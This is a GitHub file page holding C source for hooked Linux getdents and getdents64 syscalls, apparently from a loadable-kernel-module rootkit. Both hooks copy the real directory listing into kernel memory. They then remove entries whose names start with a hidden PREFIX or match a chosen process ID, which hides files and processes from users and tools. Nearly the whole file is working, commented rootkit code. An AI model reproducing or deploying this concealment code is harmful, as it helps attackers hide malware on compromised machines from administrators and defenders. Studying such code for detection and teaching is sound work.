-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathgetdents.include
More file actions
175 lines (148 loc) · 6.95 KB
/
getdents.include
File metadata and controls
175 lines (148 loc) · 6.95 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
/* This is our hooked function for sys_getdents64 */
asmlinkage int hook_getdents64(const struct pt_regs *regs)
{
/* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */
// int fd = regs->di;
struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
// int count = regs->dx;
long error;
/* We will need these intermediate structures for looping through the directory listing */
struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL;
unsigned long offset = 0;
/* We first have to actually call the real sys_getdents64 syscall and save it so that we can
* examine it's contents to remove anything that is prefixed by PREFIX.
* We also allocate dir_entry with the same amount of memory as */
int ret = orig_getdents64(regs);
dirent_ker = kzalloc(ret, GFP_KERNEL);
if ( (ret <= 0) || (dirent_ker == NULL) )
return ret;
/* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace
* dirent_ker is our copy of the returned dirent struct that we can play with */
error = copy_from_user(dirent_ker, dirent, ret);
if (error)
goto done;
/* We iterate over offset, incrementing by current_dir->d_reclen each loop */
while (offset < ret)
{
/* First, we look at dirent_ker + 0, which is the first entry in the directory listing */
current_dir = (void *)dirent_ker + offset;
/* Compare current_dir->d_name to PREFIX */
if ( ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0 )
||
( ( memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0 )
&& ( strncmp(hide_pid, "", NAME_MAX) != 0 )
)
)
{
/* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */
if ( current_dir == dirent_ker )
{
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
/* This is the crucial step: we add the length of the current directory to that of the
* previous one. This means that when the directory structure is looped over to print/search
* the contents, the current directory is subsumed into that of whatever preceeds it. */
previous_dir->d_reclen += current_dir->d_reclen;
}
else
{
/* If we end up here, then we didn't find PREFIX in current_dir->d_name
* We set previous_dir to the current_dir before moving on and incrementing
* current_dir at the start of the loop */
previous_dir = current_dir;
}
/* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole
* directory listing */
offset += current_dir->d_reclen;
}
/* Copy our (perhaps altered) dirent structure back to userspace so it can be returned.
* Note that dirent is already in the right place in memory to be referenced by the integer
* ret. */
error = copy_to_user(dirent, dirent_ker, ret);
if (error)
goto done;
done:
/* Clean up and return whatever is left of the directory listing to the user */
kfree(dirent_ker);
return ret;
}
/* This is our hook for sys_getdetdents */
asmlinkage int hook_getdents(const struct pt_regs *regs)
{
/* The linux_dirent struct got removed from the kernel headers so we have to
* declare it ourselves */
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[];
};
/* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */
// int fd = regs->di;
struct linux_dirent *dirent = (struct linux_dirent *)regs->si;
// int count = regs->dx;
long error;
/* We will need these intermediate structures for looping through the directory listing */
struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL;
unsigned long offset = 0;
/* We first have to actually call the real sys_getdents syscall and save it so that we can
* examine it's contents to remove anything that is prefixed by PREFIX.
* We also allocate dir_entry with the same amount of memory as */
int ret = orig_getdents(regs);
dirent_ker = kzalloc(ret, GFP_KERNEL);
if ( (ret <= 0) || (dirent_ker == NULL) )
return ret;
/* Copy the dirent argument passed to sys_getdents from userspace to kernelspace
* dirent_ker is our copy of the returned dirent struct that we can play with */
error = copy_from_user(dirent_ker, dirent, ret);
if (error)
goto done;
/* We iterate over offset, incrementing by current_dir->d_reclen each loop */
while (offset < ret)
{
/* First, we look at dirent_ker + 0, which is the first entry in the directory listing */
current_dir = (void *)dirent_ker + offset;
/* Compare current_dir->d_name to PREFIX */
if ( ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0 )
||
( ( memcmp(hide_pid, current_dir->d_name, strlen(hide_pid)) == 0 )
&& ( strncmp(hide_pid, "", NAME_MAX) != 0 )
)
)
{
/* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */
if ( current_dir == dirent_ker )
{
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
/* This is the crucial step: we add the length of the current directory to that of the
* previous one. This means that when the directory structure is looped over to print/search
* the contents, the current directory is subsumed into that of whatever preceeds it. */
previous_dir->d_reclen += current_dir->d_reclen;
}
else
{
/* If we end up here, then we didn't find PREFIX in current_dir->d_name
* We set previous_dir to the current_dir before moving on and incrementing
* current_dir at the start of the loop */
previous_dir = current_dir;
}
/* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole
* directory listing */
offset += current_dir->d_reclen;
}
/* Copy our (perhaps altered) dirent structure back to userspace so it can be returned.
* Note that dirent is already in the right place in memory to be referenced by the integer
* ret. */
error = copy_to_user(dirent, dirent_ker, ret);
if (error)
goto done;
done:
/* Clean up and return whatever is left of the directory listing to the user */
kfree(dirent_ker);
return ret;
}